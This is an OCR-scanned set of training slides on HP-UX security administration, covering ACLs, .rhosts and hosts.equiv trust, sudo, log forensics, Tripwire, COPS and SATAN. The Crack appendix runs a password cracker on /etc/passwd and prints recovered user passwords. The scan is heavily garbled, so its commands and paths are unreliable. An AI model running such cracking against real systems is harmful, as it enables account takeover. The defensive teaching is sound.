096 Jan 15 14:11 /jfs33

96 Jan 15 14:05 lost+found
24 Jan 15 14:11 myfile

95 Jan 15 14:05 lost+found




wmm
.

§ setacl
-

% whoam i

sassy

$ Il -d /jfs33

druxrwx---+ 3 root 96 Jan 15 14:23 /fjts33
$ Il fjfs33

/ jfs33 unreadable

total 0

$ exit

logout

# setacl -m vu:sassy:r-x fjfs33

af

% whoami

SAssy

3

£ 11 /jfs33

total 2

druwxr —xr—x Z2 root 96 Jan 15 14:05 lost+found
1 root 16 Jan 15 14:25 myfile

3

$ more fjfs33/myfile

This is my file

$ rm /jfs33/myfile

/jfs33/myfile: 650+ mode 7 (ys/n) y

rm: fjfs33/myfile not removed. Permission denied




mmm
.

y PelaultACLs
«f,

# setacl -m default:u:nking:ruwx
# getacl /jfs33

# file: /jfs33

# owner: root

# group: root
USer : :rux

user :sassy:r-x

user newtie:rux

group: ir—x

class:rux

other:---
defaul t:user :nking:rux
#

# touch /jfs33/filel

# getacl /jfs3a3/filel
# file: /jfs33/filel
#
#

owner: root
group: Ssys
user: :ru-
user:nking:rux #effective:--—-
group: :---
class:——-




Correct comboior ACLS 6nIJES,
Trusted

JES/ 33 Installed

HP=UX 11+

File system - version 4
NG/, /USK, /Var, or /opt

# fusr/libin/getprdef -r
MO, O, 8, 0, 0, -1, 0, YES, YES, NO, NO, NO, YES, 3, 10, 2, 0
# grep nking fetc/passwd

# 1l /tcb/filesfauth/n/nking
—u—u-r—— 1 root root 143 Jan 15 13:45 ftchb/filesfauvth/n/nkin

g
# swlist -1 fileset | grep "JFS 2.3 base"

# JFS 3.3 JFS 2.3 base filesystem
# uname -a

HP-U¥ ctgB800 B.11.00 A 9000/803 2000767436 two-user |icense

# vxupgrade /jfs33

/jfs33: vxfs file system version 4 layout

vxupgrade —n 4 fjfs33
# vxupgrade /jfs33
fjfs33: vufs file system version 4 layout




| <

N Vountasreadionly

|||| il Mount command allews\you to/mount as
read only

‘lll = Drawbacks:

.|| Date/time when files last usedinot updated:

Updates to programs/files onithe read-only
||| area may be harditoperform

All'ofithese configuration files
\||I 0 Read enly.on 10+ has fewer drawhacks



||‘| rhosts
||| Account=Level Equivalence

|I| il rhosts

rlegin will checkiora.rhoests file. lithefile
contains the username and hesthame ofithe
USer on the remote system issuing the rlogin
command; the userisallewedon withouta
password

You aretrusting the security enthe other
system

||| 1 Only'goeod between trusted hosts




1

§ /NOSts

af 5
|||| 1 hhosts file ontarget machine (Venus) in
the.account for Carla:

mars ed tom

Jupiter karened

earti
.|| il Never, ever have a.rhosts for root

\Watch outfor these HP applications; thatwant




i\| hosts.equiy
||| nostLevel Equivalence

“II o Alist ofilneststhat are

trusted F

III 5 Givesany userfroman =
I

equivalent system

||| cccesstoyoursystemit

Userhas the same
account name:as in

.|| your passwordfile ‘
0 rleginfirst checks 4
III /etc/hosts.equiv then

1 rhosts
”V””WW.HH;




||| nosts.equiv

af 5

W o HoST-A

< hosts.equivfile;
— host-b
— lost-c

/etec/passwaile:

— user2

5 HOST-B

nehosts.equiv file

/etec/passwaile:
— oot
— userl
— user3
— user4




«
* N fHiostsEhostsequiy

||II i Ifiusing DNS- preneito DNS spoeofing
‘lll 1 Donot rely onbNS

i IFusing/lP - prene telP spooefing

.| 0 Use “I” ini/etc/inetd.conf to have the “r
Services Ignore . .rnosts files

flegind-I; remshd -1, etc.

1 Check fior “+* signs in . rnosts files
grep “+* /home/ /.rhosts

<




SSHISecure Shell
sshl

Autematic authentication of' USErs, no passwords sent in clear text to
prevent the stealing of passwords

Multiple strong authentication metheds that prevent such security.
threatsas speoefing identity.

Authentication ofibeth ends of connection, the server and the client
are authenticated to prevent identity spoofing, trojan Norses, ete.

Autematic authentication using agentsto enable strong
authentication to multiple systems with a single-sign-on

Encryption and compression of data for security: and speed
0 Secure file transfer
Tunneling and encryption of arbitrary cConnections




ssh?2

Tlotally rewritten code that Improves security, analyzed and designed
0y top security specialists

New reutines fior cryptography and mathematics, resultingiin
considerable Imprevements inispeed

Easy te use file transfer by using sfitp (Secure File Transfer Protocol),
tihe secure version oftie popularitp

Support for multiple public key algerithms, ncluding DSA and Diffie-
Hellman key exchange

Compatibility with SSHL (in Unix version, when sshil has heen
Installed priortossh2)

RIS page and previeus fem:
WAVAV,SSH.0Kg




\II il Super User or Switch User
< Do youreallyneed it??

“ i Instead: Use groupisecurity

.|| i Set ACLs for those that need su
r‘ moeunt /umount




.‘|

||| SU - Prevention

Determinge Ifyour
users really needsu,
and disablen
possible

||| | Check the sulog|DAIL

W592 CAMSI2WININTERNET. WI2: ctc
Fnkeys Options  Trouble Print
] Folder: IHROR

22 of 128 ALL

R Reply
F Forward




.\l GIVING NON-FOGL USErS oot
||| access for certain tasks

|||| 0 9x+: sudoprogram
1 10.x+: Restricted SAV




|l\| Use SAM togive out root
||| capabilities ifion 10:x+

||| i Run the restricted SAM shelll(sam-r)
0 Selectthe user thatyou want to give

« privileges
1 Enable tasksiforrthe user
.
0 Add custom tasks

.|| 1 When user goes inte SAV theywill enly'see
tasks they are allowed to perform




mmm
.
N sudo

af

|II 0 Program to allow/ tsersito run programs as rooet
1 See Appendix Clorinstallation/configuration

a

% whoamn i

cuwong

$ /sbin/mount /dev/dsk/cdrom /cdrom

mount: must be root to use mount

$ /opt/sudo/bin/sudo /sbin/mount /dev/dsk/cdrom /cdrom

$ bdf | grep cdrom

fdev/dsk/cdrom 2457600 2457600 0 100¢ fcdrom

$ /opt/sudo/bin/sudo fusrfsbindvipw fetc/passwd

Jan 16 09:53:32 ctgB00 sudo: cwong : command not allowed ; TTY=pts/tb ; PUD=/
home/cwong ; USER=root ; COMMAND=/usr/sbinfvipw fetc/passwd

Sorry. user cwong is not allowed to execute "fusr/sbin/vipw fetc/passwd” as root
on ctg800.




q
* N

||| 0 \We've learnedabout communicatingwith
ether hestsiand the securty implications

\\
p lII 1 We'vealso learned seme ways of getting
around handing eut rEet aCCEeSs

1 Let's new leek at hew yeuknow When
.|| securty hasbeen compromised and hew
youfind additionaliinformation




.\I Systeminas been compromised -
||| Whattodo?

1 Dependsion:
Your Envirenment
Extent off Attack
1 Easierifyou already
nave aplaninplace
Install/lgnite
Change passweoerds

0 Turnion auditing for
SlUISpICIoUS acecounts




||II i Whoiis allowed to
access account

Erom where?
= Passwords
.|| 1 Acceptanble use

= Conditions under
.|| whichiaccountis
deactivated and/or

\|I| deleted

0 Monitering

o Actions and
CONSEqUENCES




How teifind the culprits

1 Check passwordfile for new root USers
grep:0: /ete/passwd | grep’-V root

neckfor new SuUlbfiles
necksuleg

neck btmp/wimp for reet legons
neck mail

neck shell histeries




I.‘|
||| Wmp

|II il Unreadable format
N 0 Evernylogin
lII 0 Everylogout

.ll # /usr/sbinfacct/futmp < fvar/adm/wtmp | tail

Cuong tb pts/tb 6900 B 0000 0000 948044665 Jan 10:44:25 2000
LOGIN tb pts/tb 4¢¢ 6 0000 0000 948044923 Jan 10:48:43 2000 4.3
3.17.4 ctgBoo
cwong tb pts/tb ¢¢ 7 0000 0003 948044926 Jan 10:48:46 2000 4.3
3.17.4 ctgBoo
cwong tb pts/tb 4¢¢ B 0000 0000 948044929 Jan 10:48:49 2000
LOGIN tb  pts/tb 75963 6 0000 DOOD 948045166 Jan 10:52:46 2000 4.3
3.17.6 ctgso0
root tb pts/tb /263 7 0000 0003 948045170 Jan 10:52:50 2000 4.3
3.17.6 ctgso0




a

oJifg]e

Nll. 1 Unreadable format
1 Unsuccessiiullog enjattempts

# fusr/sbinfacct/fwtmp < fvarfadm/btmp | tail

brice
3.17.4
brice
3.17.4
brice
3.17.4
bin
3.17.4

pts/tc
ctgB0o

pts/tc
ctgB00

pts/tc
ctgs00

pts/td
ctgB0o

pts/td
.17.4 ctgg00
cuwong
3.17.4 ctggoo
root
3.17.2 4.33.
root
3.17.6 ctg700
pa pts/td
ctgB00
pass4a4
3.17.4 ctgdoo

pts/tg
pts/tb

17.2
pts/tc

pts/te

12071 0O 0000 0O0OO 9497018057 Jan

12071 0O 0000 0000 9497018063 Jan
12071 0 0000 0000 947018068 Jan
17935 0 0000 0000 9497095039 Jan
17935 0 0000 0000 9497095044 Jan
20223 0 0000 0000 947099748 Jan
5097 0 0000 DOOO 949/962509 Jan
8155 0 0000 0000 9498046123 Jan
14330 0 0000 OO0O0 948052640 Jan 16 12

14408 0 0000 0000 948052692 Jan

:57:20 2000 4.33.

4 13:34:17 2000 4.3
4 13:34:23 2000 4.3
4 13:34:28 2000 4.3
9 10:57:19 2000 4.3
9 10:57:24 2000 4.33
9 12:15:48 2000 4.3
15 11:55:09 2000 4.3
16 11:08:42 2000 4.3
17.4

16 12:58:12 2000 4.3




Ny fwtmp

af 5

\II il Security Risks
i Protectlog files

i Pretect programsithat read log files




n
N asiinger

|II 5 last-readswimp
< USername
terminal

o lasth - reads btmp

# last | fail
root ptsst2 Thu Dec : (o0:29)

f tp F tp Thu Dec (oo:151
f tp F tp Thu Dec (oO:0072
fFtp fFtp Thu Dec (o0:00)
root ptssti Thu Dec (11+04:57)
root ptssSto Thu Dec (0Z:161

root ptssSto Hed Dec (oo:231
llrunt conso le Hed Dec

(00D:25)
wtmp begins Hed Dec 1 14:17
# lastbhb |1 tail
bin ptssStd Hed Jan
brice ptsStc Toue Jan

brice ptssStc Tue Jan
Itwﬁce ptssStc Tue Jan

= NN NN NN

Cuworg ptssStbh Toue Jan
Cuworng ptsStc Hon Jan
root ptssSth Hed Dec
root ptssSta Hed Dec

NoOWhLLL LU

= [\

""‘”“”WHIIIIIIIIHH; btmp begins Hed Dec 15 11:25




i\| lastcomm
Ny Needsauditing

4" [rm smackle ttyus
sendmail smackle ttwud
sendmail daemaon -

daemaon -
daemaon -
smackle ttwud
smackle ttwud
sendmail daemaon
nftserve root
dscopy oot
CTiCce
SETVET
SETVET
SETVET
SETVET
SETVET
Uptime SeTver
hetscape CTice
zh SETVET
list SETVET
zh SETVET
SETVET

H.
H.
H.
H.
H.
H.
H.
H.
H.
H.
H.
H.
H.
H.
H.
H.
H.
3.
H.
H.
H.
H.




1 _Configuredin
||II 0 /var/adm/sysleg /etc/syslog.conf

sysleg.log Determine If:
mailileg — Written tofile

— Displayed on device
(console)

— Forwarded to another
nost

— Displayed on user's
screen

facility.levell target

mail.debug /var/adm/syslog/mail.log
*.info;mail.none /var/adm/syslog/syslog.log
*.alert /dev/console




«

i

Mar 15 13:87:58 ctc sendmail (182621 AALAZEZ1GV7:
Mar 15 13:87:58 ctc sendmail (182621 AALAZEZ1GV7:
rcpts=l

Mar 15 13:87:58 ctc sendmail (182621 AALAZEZ1GV7:
746, 98987A-10BRAARCLC, CLC, edu?

Mar 15 13:87:58 ctc sendmail (182621 AALAZEZ1GV7:
Mar 15 13:88:82 ctc sendmail (182631 AALAZEZ1EV7:

/usr/spool/maueue/sysleg (2.x)

N /varfadi/syslog/mail g (10%)
af :
|

<

from=crice
size=284, rclass=6, pri=1284, n

msfid=<Pine.HPP.3.91.8956315130

relav=local host
to=Will Moble <wnoblel@teleport

.com:, delav=BH:B8:84, stat=Sent, mailer=tcp, MK host=mail.teleport.com., addres

z=[192.188.254,11]

#

#

Mar 12 17:54:84 ctc zendmail [1A316]1: AALAZ1ES9R43:
Mar 12 17:54:84 ctc zendmail [1A316]1: AALAZ1ES9R43:
rcpts=l

Mar 12 17:54:84 ctc zendmail [1A316]1: AALAZ1ES9R43:
esiree.teleport.comy

Mar 12 17:54:84 ctc sendmail [1A316]1: AALAZ1E9RA3Z:
eport.com [1592. 188,254,111

Mar 12 17:54:84 ctc sendmail [1A317]1: AALAZ1E9RA3:
HE'@HE:B1, stat=3ent, mailer=local

from=<wnoblelteleport.coms
£ize=884, rclass=6, pri=1884, n

mepid=<195583130155. RAA155526@d
proto=EEMTP, relav=desiree.tel

to=<cricelcte.cte.edur, delavs




N
llL Reeping logffiles

Create daily mail syslog
D d
\Ild:tt:_ ec?r:?) $Date | sed / /s/*/g’ | cut -f1,2,3 -d*
cp /var/adm/syslog/mail.log /var/adm/syslog/maillog$date

a

cat /dev/null > /var/adm/syslog/mail.log
‘Ilnnd /var/adm/syslog -name 'maillog*' -mtime +6 -exec rm -rf {} \;

# Il lvar/adm/syslog
| otal 96608
| W-I--r-- oot roo 58727 May 27 04:01 OLDsyslog.log
-rWXr--r-- 1 root 2366637 May 27 19:19 mail.log
mm“ -rwxr--r-- 1 root 9036550 May 24 01:17 maillogFri*May*24
.l rwxr--r-- 1 root 2708042 May 27 01:12 maillogMon*May*27
rwxr--r-- 1 root 6835506 May 25 01:18 maillogSat*May*25
1 root 3755933 May 26 01:17 maillogSun*May*26
‘I rwxr--r-- 1 root 9920993 May 23 01:18 maillogThu*May*23
I r--r-- 1 root 7431538 May 21 01:19 maillogTue*May*21
-rwxr--r-- 1 root 8287237 May 22 01 17 maillogWed*May*22




||| malilstats
<|' 5

‘II 5 Must have sendmail.st file
a (check inisendmail.cf for
0Sline)

o Mailers/Delivery Agents:
0= local
I'=program
2 = SMTPTCP/IP
3= uucp
4 =dumb uucp
5=X.400
6= Openmail




.‘|

eIy Gensral Purguse Luyying

15 13:43: 64 Anrpd [16285]: cto.ctoc.edy connect

15 lE,ﬂB,EE Anrpd[16285]y cto.cto.edy exift articles B groups H©

15 13:-42:HA Anrpd[16265] : cto.cto.edy times user B.148 svstem B, 100 elap
H.288

15 13:-42:64 Anrpd[16267]: cto.cto.edy connect

15 15:43:15 popper: Unable to get canonical name of client, err = 2
15 13:42:74 telnetd[5443]1: getpid @ read; Connection reset by peer
15 13:43: 28 telnetd (161551 recy: Connection reset by peer

15 13:43: 26 telnetd (162881 recy: Connection reset by peer

15 13:43: 26 telnetd[162BE8]: terminate child process failed.

15 13:-43:28 telnetd (162881 Evror checking child termination status.
15 13:-43:28 telnetd 161551 terminate child process failed.

15 13:-43:28 telnetd[16155]1: Evror checking child ftermination status.
15 1343+ 26 telnetd[16242]: terminate child process failed.

15 13:43: 2k telnetd[16242]1: Evror checking child ftermination status.
15 13:43:27 Anrpd 162871y cto.ctoc.edy group rec.music.gdead 219

15 13:43:27 nnrpd[16287]y cto.cto.edy exit articles 219 groups 1

15 13:423:27 Anrpd[16287]y cto.cto.edy times user B. 458 svstem B.52H
23.4913

15 13:43:35 pOpper: UnahleFén get canonical name of client, err = 2
15 13:-42+44 mamed[126]: Maltormed response from 128.188.1.1




||| Sh_history

af 5

*kkkkkkkkkkk Mon M ay 27 18032 4 PDT 1996 *kkkkkkkkkkkkkkk
crice - ttypl May 27 18:03 . 21796 dev02_dtc.ctc.edu

env

clear

pine

exit

*kkkkkkkkkkk Mon M ay 27 180605 PDT 1996 *kkkkkkkkkkkkkkk
crice - ttypl May 27 18:06 . 21931 dev02_dtc.ctc.edu
clear

tail .sh_history

umask 026

eChO Nkkkkkkkkkkkk ‘date‘ *kkkkkkkhkkkkkhkkk!! >>S $HOME/Sh hlstory
echo ‘'who -uT am i° >> $HOME/.sh_history

alias chmod='chmod -A'

export LESS="-efMw'




| <

||| REVIEW

|||| i We've learned where some valuable
Infermation Is stored

New: that's see howwelliknowwhen
Semetninghas beenchanged




||II 1 Agooedhackerwill 0 Use a cryptographic
make sure the file checksum
theyarealterngwill Encrypt the file

return the exact same Run checksumion the
checksum encryptedifile




||| Checklist

af 5

W Inode Number
= Permissions
\I| - Owner

a

G
||| e

o File Size
= Modified/Create date
5 Frlename




| <

||| Check recoveryon HP=UX11

|||| 1 Check recovery compares the current
state of the systemito the system recovery
status file (createdwithimake. recovery):
Additiens
Deletions

Modifications
— [[ast modified date
— Checksum




TrlpW|re

.ll See Appendix A for installation/Coenfiguration

0 Compares current signature
wiith storedisignature

aCCEesSs, creation;
modificationtime

OWNEX, group

Inede number, link
count

Size, permission
cryptegraphic hash




||‘|
||| COPS

N||| - What is COPS
= Installation
m CARP




What COPS checks

fille,directory and device writeability of users home
Permissions/modes directories and startupifiles

POOK passwords (.profile, forward, etc.)

content format and security of anonymous fipisetup
password and groupfiles unrestricted titp, decode alias
programs and files runiin In Sendmail, SUIDuudecode
/ete/rc and cron prOblemS, hiddenishellsin

existence of root-SUIDfiles, Inetd.cont
theirwriteability date of CERT advisoriesvs. key

i CRC checkagainst important files
binaries or key files Kuang expert system




0 Rule-Based Security Checking

What If an attacker had acecess toa given set of privileges, could
that attacker become root?

1 Doeesnotfind hole in Unix O/S, finds mistakes inithe protection

configuration.

0 Attacker Goals:
User - execute one of the attackers programs with a particular UlD

Group - execute one of the attacker's programs with a particular
GID

File - obtain read/write aceess toia particular file




[

[
[]
[]
[

Retrieve from Internet (use Archie to find FTP sites)
filp.Cert.orgipul/security/cops

Downleadfile, uncompress, tar in a secured directony

Runi reconfig

Runimake all (programs andiman pages)

Modify lines 93 and 94 in cops
SECURE=*the directory”
SECURE_USERS="e-mailladdress”

Read the README files
/COpPS -V/-S . -DICOPS._errs



i\l
i

l ‘.ll Security Administrator ool for Analyzing Networks

WII i Network-related
Security preblems

I" il Graphical User
nterface (Any Web
OIFOWSET)

5 Need: Perl 5.0/0r
netterand a\Web
IrOWSEr




Check fior everynignt

Farled legen attempts

Falled POP mail connections

suleg

Users without a password

Users whoe are root

Users with a .rhostsifile

New files with SUID/er SGID set

Newfilesiewned by reet and writeanle by other:
Changes to files in various directories

Profiles with PATHISet to current working directory.

B
[
[
B
B
[
[
B
B
[




| <
||| lools

||I| il Tripwire
D
N

o SATAN

.|| 1 Big Brether (http://Maclawran.ca/bh-
dnld/)

||| - s

0 Site Secunty/ Handboeok (ftp://ftp.1sl.edu/in-
netes/ric2196.txt)

<
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||| Appendix A= Installing Tripwire
|||

. ’ ;:;:::::::
4I' 4= . . 'l'll'-; 1] .--;J'l'l'.' & s .@ r' ..........

hittp: # e, cenas. purdue. edud coastdarchive/datascategZ. html

= LL L4 O IF LY L LI T L = e F L1l FLESLLE LA =

“ Ahstract ThlS paper begins with bnef overview of what Tripwire does and haw it wmrlcs It discuss how certain
II implementation decisions affected the course of Tripwire development, also presents other applications that have been
found for Tripwire,

“‘ Gene H Kin, Eucene H Spaftord, The Desion and Implementation of Tripwire: 4 File System Inmtearity Checker
.l Ahstract: This paper describes the design and implementation of the Tripwire tool It uses mterchangeable "signature”
| routines to identify changes i files, and 1z h highly confisurable.

(ene H Kim, Eugene H Spafford, Tripwire vi 2

.l Ahstract: Tripwire 15 a highly portable, configurable tool to monttor changes i a Unx filesystem. It keeps a database of
node nformation and message digests of file and directory contents based on a user-designed configuration file. When

rerun, Tripwire will cotnpare the stored values against the configuration flags and warn the operator of any dewiations
(changes, additions, accesses, etc). Tripwire 15 extensively documented, has been ported to over 30 varieties of Thix, and
15 highly recommended by anyone who uses it

<

”V””“”WIIIHH;




|
.

N [fipwire Installation

af

# umask 027

# mkdir fopt/tripwire

# 1l d foptitripwire

druxr-x--- 2 root sys 06 Nov 9 13:24 jopt/tripwire
cd fopt/tripwire

umask 022

cp fhome/ftp/pub/tripwire-1_2_tar.Z
qunzip —d tripwire-1_2_tar ./

tar xvf tripwire-1_2_tar

Readme, 2967 bytes, 6 tape blocks
T1.2.tar, 1048576 bytes, 2048 tape blocks
T1.2.tar.asc, 282 bytes, 1 tape blocks
tar xvf T1.2.tar

HEX XX EEEESR




¥ tripuwire-1.Z2/tests/testl . sl Dy

¥ tripuwire-1.2/tests/tw. cunf tEEt 2030 hgtes 4 tﬂpE blocks
¥ tripuwire-1.2/tests/tw.db_TEST, 42000 bytes. 83 tape blocks
H#

# chown -R root:sys tripwire-1.2

# cd tripwire-1.2

# vi Hakefile

# destination directory for final executables
DESTDIR = foptitripuwireftripuwire-1.2/src

# destination for man pages
MANDIR = fusr/share/man

I|I

”V””“”WIIIHH;




# Is configs | grep hp | more
cont-hpux.h

Tw.cont .hpZ
Tw.cont . hpux

# vi include/sconfig.h

v Jfconfigsfcont-hpux.h”™

106 #define CONFIG_PATH

“fvarfopt/tripuiref/tcheck”
107 #define DATABASE_PATH

“fvarfopt/tripuwire/tcheck/databases”




.‘|

||| Viake separate LVOL for dataknase

lII ol Database shouldibe on media that can be
« “removed”.

lII 0 lffnot availanle, puteniseparate LVOL that you can
Keep unmounted.

N .

.ll Filesystem kbytes used avail Xused Hounted on
fdev/vg00/Ivol3 B6016 23445 58714 29¥ /
fdev/ugoo/lvoli 67733 22665 38294 372 /stand

fdev/fug00/lvol10 307200 237234 65631 784 /var

.l fdev/ugoo/lvol? 40960 1231 37301 3# fvar/spool
fdev/ugoo/Ivolo 40960 1117 37360 I4 fvar/mail
fdevfugd0/lvols 450560 381606 64681 86% fusr
fdev/ugoo/lvold 204800 1276 190867 1 /ftmp
fdev/ugoo/Ivol9 745472 679986 65203 914 /opt
fdev/ugoo/Ivol8 204800 1872 190248 1:x /home
fdev/ugoo/Ilvol11 204800 1157 190923 1 fvarfopt/tripuire




mmm
.

g |nstallation; con't

af

mkdir -p fvar/opt/tripwirestcheck/databases

chmod 750 Avar/opt/tripwire

cp configs/tw.conf.hpux fvarfopt/tripwires/tcheck/tw.config
vi srcfsiggen.c

}
if (lguietmode)
printf("sigxd: »-
else
printf("»s ", sig

}

:1.$s/sigvector/sigvectori/g

12 substitutions




.\l [ifget this errer message; edit
||| sre/configiexc

III Make: Cannot load lex. Stop.

.4' **% Error exit code 1

Stop.
**% Error exit code 1

Stop.
||| # Vi src/config. lex.c

# vi src/config. lex.c

230

231 #itndet __cplusplus

232 static void __yy__vunused() { main(0,|]
233 #endif




# pud
.|| fuarfopt/tripuwirestcheck
# vi tw.config




|.\| lifman pages didn'tinstall
||| (mantripwire deesn t work)

0 cd /opt/tripwire/trapwire-1.2/man

||| - Vi Makefile
Ry R
lII 0 makeiinstall




|l\| Add your suid/sgid files toiconfig
||| file

'||| il cd /van/opt/tripwire/tcheck

0 find /-user O\(-perm -4000-0-perm -2000
\)-execls-d{}>
/var/opt/tripwire/tcheck/suidfiles\;

o sed1,2000s/%/ R/ suidfiles>myiile

W | vitw.config
<|'




|\| After editing config file; initialize
||| tnegatanase

# pud
fvarfopt/tripuwires/tcheck
# Is

b databases tw.config twconfig

#

# foptifiripwireftripuwire-1.2/src/tripwire —-initialize

# 11

total 10

druxr—xXr—-x 06 Dec
a8 Dec
1855 Dec
1836 Dec

# || databases
total 93858
5046845 Dec

14:05 databases
14:19 suidfiles
14:07 tw.config
10:48 twconfig

15:11 tw.db_ctgB00




| <

s outpu

|II i Added user chris with/UIDIO

1 Copled /shin/passwdl(SUID) te /home/itp
1 Added entry to /var/adm/inetd.sec

fvar/fadmf inetd.sec

st_size:
st_mtime:
st_ctime:

md> (sig1):
snefru (sig2):

1022

Hon Jan 3 10:45:42 2000
Mon Jan 3 10:45:42 Z000
ooDVe0Z tRXDXJNIODHEIAB
141 1ci8 . efzCCOxU3NA#0PG

gog

Hed Dec 1 14:13:58 1999
Hed Dec 1 14:13:58 1999
0gxu3 ixodFE:CGbUl7vD. N
11TEIiEIcSaleGSTEZDNCsH




> N

af

#it Phase 3: Creating file information database

#i# Phase 4: Searching for inconsistencies

Hit#

Hi# Total files scanned: 25817

Hi# Files added: 3

Hi# Files deleted: 1

HitH Files changed: 25205

Hit#

HitH After applying rules:

i Changes discarded: 25204

HitH Changes remaining: 9

Hit#

added : 81920 Jan 09:59: 2000 fetc/sh
added : 06 Jan 09:58: 2000 fetc/sam/br
added : 138 Jan 09:50: 2000 fetc/sam/br/fbackup_c
onfig

deleted: 502 Dec 10:43: 1999 fetc/fstab.old
changed: dr-xXr-xr-x bi 6144 Jan 10:00: 2000 fetc
changed: dr-xXr-xr-x bi 1024 Jan 09:50: 2000 fetc/sam
changed: druwxr-xr-x 1024 Jan 09:50: 2000 Fvar/fadm
changed: dr-xXr-xr-x bi 1024 Jan 00:58: 2000 Fvar/sam
changed: druwxrwxrwx bi 1024 .Jan 09:59:00 2000 fvar/tmp




mmm
.

N npwire ouiput

af

#in Attr Dbserved (what it is) Expected (what it should be)

st_mtime: Thu Jan 6 10:00:27 2000 Hed Jan 5 13:00:24 2000

fetc/sam
st_nlink: 3
st_mtime: 6 09:50:27 2000 Hon Dec 15:03:55 1999

fvar fadm
st_nlink: 10
st_mtime: 6 09:50:28 2000 Tue Jan 13:35:54 2000

fvar /sam
st_mtime: 6 09:58:39 2000 Hed Jan 16:16:36 2000

fvar /tmp
6 09:59:00 2000 Hed Jan 16:18:453 2000




.\I Appendix B: Installing|Crack
n pux.csiutanedu

|w j http: /fhpus. cs.utah edul
=

I" HOME  CATALOGUE  FA : ? SEARCH WHAT'S NEW?

““N““ \Welcome to the Software Porting Archive Centre For HP-UX b | pe o Utah, USA. This site contains public domain
|| which have been configured and ported to HF-LUx,
Latest Packages:
#1627 webgrep-2.3 Check and search utilities for the web-master
lavaZhtml-1.4 | GraphApp-2 47 | Eegina-0.06h | db-3.0.55
Last ¥ Days | Last 31 Days

@ Full Catalogue Of Public Domain HP-Ls Ported Software

@ Package Search: |crack
Package Name I Description [T Author [T Case Sensitive




\||\|m|
- W Crack _
N nstallation

af

cuwong
% puwd

fhome/cwong/docs

% gunzip crack-5_0-ss-10_10_tar .gz

% tar xvf crack-5_0-ss-10_10_tar

3

3

3 11

total 19142

Adr = wxrws 9 cwong users 1024 Jan 15 11:21 crack-5.0

-ru-r-——-—- 1 cwong users 9799680 Jan 15 11:18 crack-5_0-ss-10_10_tar

% cd crack-5.0

$ ./Crack all

Crack 5.0a: The Password Cracker.

(c) Alec Huffett, 1991, 1992, 1993, 1994, 1995, 1996

System: HP-U¥ ctgB00 B.11.00 A 90007803 2000767436 two-user |icense
Home: /home/cwong/docs/crack-5.0

Invoked: ./Crack all

Stamp: hp-ux-b-9000/803

Crack: making utilities in run/binfall
find . —-name "*™" -print | xargs -n30 rm -f
( cd src; for dir in * ; do ( cd $dir ; make clean ) ; done )




|
- W Crack

af

$

% whoam i

cuwong

% pwd

fhome/cwong/docs/crack-5.0

% ./Crack -nice 10 fetc/passwd

Crack 5.0a: The Password Cracker.

(c) Alec Huffett, 1991, 1992, 1993, 1994, 1995, 1996
System: HP-U¥ ctgB00 B.11.00 A 90007803 2000767436 two-user |icense
Home: /home/cwong/docs/crack-5.0

Invoked: ./Crack -nice 10 /fetc/passwd

Option: -nice enabled

Stamp: hp-ux-b-9000/803

-—-—— passwords cracked as of Sat Jan 15 12:00:54 H3T 2000 ———-

047962009:6Guessed newfie [bone] ... [fetc/passwd fusr/bin/shl




W Crack
- Displaying|after running

) lll

% Reporter -quiet < run/F-merged
-———- passwords cracked as of 3at Jan

947962009
947962009
947962009
947962009
947962009
947962009
947962009
947962009
947/962009
947962009
947965138
947965138
947965138
947965138
947965144
947965144
947966295
947966295

:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed

newfie
newfie
newfie
newfie
newfie
newfie
newfie
newfie
newfie
newfie
brice
brice
brice
brice
Sassy
Sassy

smokey [bObby]
smokey [bObby]

[bone ]
[bone]
[bone]
[bone]
[bone]
[bone]
[bone ]
[bone ]
[bone ]
[bone]
[goofyl
[goofyl
[goofyl
[goofy]l
[jenny]l
[jennyl

fF L

L e

L e

L e

L e

L e

fF L

fF L

fF L

L e

L e

L e

L e

L e

fF L

fF L

L .

L .

15 13:09:06 H5T 2000 ———-

[/etc/passwd
[/etc/passud
[/etc/passud
[/etc/passud
[/etc/passwd
[/etc/passwd
[/etc/passud
[/etc/passwd
[/etc/passwd
[/etc/passud
[/etc/passud
[/etc/passwd
[/etc/passwd
[/etc/passwd
[/etc/passwd
[/etc/passwd

Ffusr/bin/shl
fusr/binfsh]
fusr/binfsh]
fusr/binfsh]
fusr/binfsh]
fusr/binfsh]
Ffusr/bin/shl
Ffusr/bin/shl
fusr/bin/shl
fusr/binfsh]
fopt/perf/bin/glance]
fopt/perf/binfglance]
fopt/perf/binfglance]
fopt/perf/bin/glance]l
Ffusr/bin/shl
Ffusr/bin/shl

[fetc/passwd fusr/bindshl
[fetc/passwd fusr/bindshl




)

‘|\||| Appendix CInstalling sud

% L7 http: d Mhpus. oz ukah, edudhppd hpusdS veadmindsudo-1.5.6p5/
= = i i B

ﬁ@hivﬁ

sudo-1.5.6p5

A package to allow commands to be run as the superuser. Sudo determines who is an authonsed user by consulting your
fetcfsudoers database. The program prompts for a user's password to initiate a validation periad of I minutes, here M is

defined at installation time. M.B. There is no easy way to prevent a user from gaining a root shell if he has access to
commands that are shell scripts or that allow shell escapes.

Author. Dawid Hieb <daveliebiiicsn arg=
Home: ftpftp. winds. ac. wk/pubisuda/
Instaliztion Tree: foptsudo

+ README file

+ Packages Available: (helpl)

HP-UX 10.20 Dynamically Linked Binary (gzipped) [HTTP] [FTP
foize: 90 K, Archived: 10 Now 1995




.\l Installing sudei(not trusted)
||| GetBinary (depot) File

# g ip fhome/ftp/pub/sudo-1_5_bp5-sd-10_Z20_depot.gz

stall -s fhumefftpfpuhfsudn—I_S_Epﬁ—sd—lﬂ_zﬂ_depnt -% allow_incompati
E= rue sudo
# Sfopt/sudosetc/visudo




.\I Installing/sudoe Trusted system

||| Getsourcefile

# gunzip sudo-1_5_bpo-s55-10_20_1ar .g=z
# tar xvf sudo-1_5_bpo-55- 1ﬂ_Eﬂ_tﬂr
# cd sudo-1.5.6p5

# ./configure

Home-baked HP Test for HPF ... HP-UX
*¥* Its an HP System! xx

creating cache . fconfig.cache
Configuring CU Judo version 1.5.6
checking whether to log the hostname in the log file... no
checking whether to wrap long lines in the log file... yes
checking for egrep... egrep

checking for gcc... ccC

checking whether the C compiler (cc -Ae ) works... yes

checking whether the C compiler (cc -Ae ) is a cross—-compiler...
checking whether we are using GNU C... no

checking how to run the C preprocessor... cc -E

